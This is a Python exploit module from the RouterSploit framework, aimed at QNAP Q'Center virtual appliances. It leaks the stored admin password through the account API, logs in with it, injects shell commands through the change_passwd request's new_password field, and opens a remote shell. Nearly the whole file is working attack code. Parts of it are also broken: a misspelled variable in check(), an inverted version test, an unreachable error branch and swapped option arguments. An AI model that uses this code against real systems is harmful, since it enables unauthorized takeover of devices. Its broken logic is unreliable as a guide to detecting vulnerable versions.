routersploit module - routersploit/modules/exploits/quap/qcenter_rce.py

qcenter_rce.py

import base64
import json
import re

from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient

class Exploit(HTTPClient):
    __info__ = {
        "name": "QNAP Q'Center change_passwd Command Execution",
        "description": """This module exploits a command injection vulnerability in the
        `change_passwd` API method within the web interface of QNAP Q'Center
        virtual appliance versions prior to 1.7.1083.
 
        The vulnerability allows the 'admin' privileged user account to
        execute arbitrary commands as the 'admin' operating system user.""",
        "authors": (
            "@jnazario",  # routersploit module
            'Ivan Huertas', # Discovery and PoC
            'Brendan Coles' # Metasploit
        ),
        "references": (
            "https://www.exploit-db.com/exploits/45043/",
            'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities',
            'http://seclists.org/fulldisclosure/2018/Jul/45',
            'https://www.securityfocus.com/archive/1/542141',
            'https://www.qnap.com/en-us/security-advisory/nas-201807-10'
        ),
        "devices": (
            'QNAP Q\'Center',
        )
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    
    username = OptString("admin", "Account to change")    
    password = OptString("password", "New password password")
    basepath = OptString('basepath', '/qcenter')
    
    _cookies = None
    _admin_id = -1
    _cur_passwd = ''

    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable")
            self.privesc()
            print_status('Sending payload ...')
            shell(self)
        else:
            print_error("Target is not vulnerable")

    def execute(self, cmd):
        vars_post = {
            '_id': self._admin_id,
            'old_password': base64.encodestring(self._cur_passwd),
            'new_password': base64.encodestring("\";{};\"".format(cmd))            
        }
        self.http_request(
            method='POST',
            path=self.basepath.rstrip('/') + '/hawkeye/v1/account',
            cookies=self._cookies,
            data=json.dumps(vars_post),
            query='change_passwd'
        )

    def get_accounts(self):
        response = self.http_request(
            method='GET',
            path=self.basepath.rstrip('/') + '/hawkeye/v1/account',
            cookies=self._cookies
        )
        try:
            return json.loads(response.text)['account']
        except ValueError:
            print_error('Could not retrieve list of users')
        return None
    
    def privesc(self):
        print_status('Retrieving admin user details ...')
        try:
            admin = self.get_accounts()[0]
        except (IndexError, TypeError):
            print_error('Failed to retrieve admin user details')
            return
        self._admin_id = admin['_id']
        self._cur_passwd = admin['new_password']
        print_success("Found admin password used during install: {}".format(self._cur_passwd))
        self.login(admin['name'], self._cur_passwd )

    def login(self, username, password):
        vars_post = {
            'name': username,
            'password': base64.encodestring(password),
            'remember': 'false'
        }
        response = self.http_request(
            method='POST',
            path=self.basepath.rstrip('/') + '/hawkeye/v1/login',
            data=json.dumps(vars_post)
        )
        if response is None:
            print_error("Connection failed")
            return False
        if response.status_code != 200:
            print_error("Connection failed")
            return False
        elif response.status_code == 401 or 'AuthException' in response.text:
            print_error('Login failed')
            return False
        if response.text == '{}':
            print_success("Authenticated as user '{}' successfully".format(username))
            self._cookies = self.get_cookie()
            if self._cookies is None:
                print_error('Failed to retrieve cookies')
                return False
            return True
        print_error('Unknown error encountered')
        return False

    @mute
    def check(self):
        response = self.http_request(method='GET',
                                     path=self.basepath.rstrip('/') + '/index.html')
        if response is None:
            return False
        if response.status_code == 200:
            if "<title>Q'center</title>" in response.text:
                try:
                    pat = '\.js\?_v=([\d\.]+)'
                    version = re.findall(pat, respose.text)[0]
                    if map(int, version.split('.')) >= map(int, '1.7.1083'.split('.')):
                        return True
                except IndexError:
                    pass
        return False